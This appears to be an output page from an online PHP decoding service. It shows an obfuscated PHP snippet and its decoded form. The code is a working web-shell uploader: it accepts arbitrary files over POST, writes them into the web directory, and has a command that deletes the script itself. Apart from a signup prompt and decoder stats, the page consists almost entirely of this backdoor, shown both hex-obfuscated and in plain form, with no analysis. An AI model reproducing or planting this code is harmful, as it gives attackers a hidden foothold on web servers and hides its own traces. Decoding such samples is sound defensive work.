Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
if(!empty($_POST["\x74a\x73k"])){if($_POST["tas\x6b"]=="\x75\x70\x6c\x6fad"){if($_FILES["f..
Decoded Output download
<? if(!empty($_POST["task"])){if($_POST["task"]=="upload"){if($_FILES["file"]["error"]>0){echo"Return Code: ".$_FILES["file"]["error"]."
";}else{if(file_exists("./".$_FILES["file"]["name"])){echo$_FILES["file"]["name"]." already exists.
";}else{move_uploaded_file($_FILES["file"]["tmp_name"],"./".$_FILES["file"]["name"]);echo"ok";}}}else if($_POST["task"]=="delSelf"){if(unlink(__FILE__)){echo"ok";}else{echo"fail";}}}else{echo"ok";exit;} ?>
Did this file decode correctly?
Original Code
if(!empty($_POST["\x74a\x73k"])){if($_POST["tas\x6b"]=="\x75\x70\x6c\x6fad"){if($_FILES["fi\x6ce"]["\x65rr\x6fr"]>0){echo"Re\x74\x75r\x6e C\x6fde: ".$_FILES["f\x69le"]["\x65rror"]."\n";}else{if(file_exists("./".$_FILES["fi\x6ce"]["na\x6de"])){echo$_FILES["\x66ile"]["name"]."\x20al\x72ead\x79\x20\x65x\x69s\x74s\x2e \n";}else{move_uploaded_file($_FILES["\x66\x69l\x65"]["t\x6dp\x5fna\x6de"],"./".$_FILES["f\x69l\x65"]["nam\x65"]);echo"\x6fk";}}}else if($_POST["\x74a\x73k"]=="\x64el\x53e\x6cf"){if(unlink(__FILE__)){echo"\x6f\x6b";}else{echo"\x66\x61\x69\x6c";}}}else{echo"\x6f\x6b";exit;}
Function Calls
| None |
Stats
| MD5 | 45e81e8f9a2aa222bc2115f7b2d874df |
| Eval Count | 0 |
| Decode Time | 85 ms |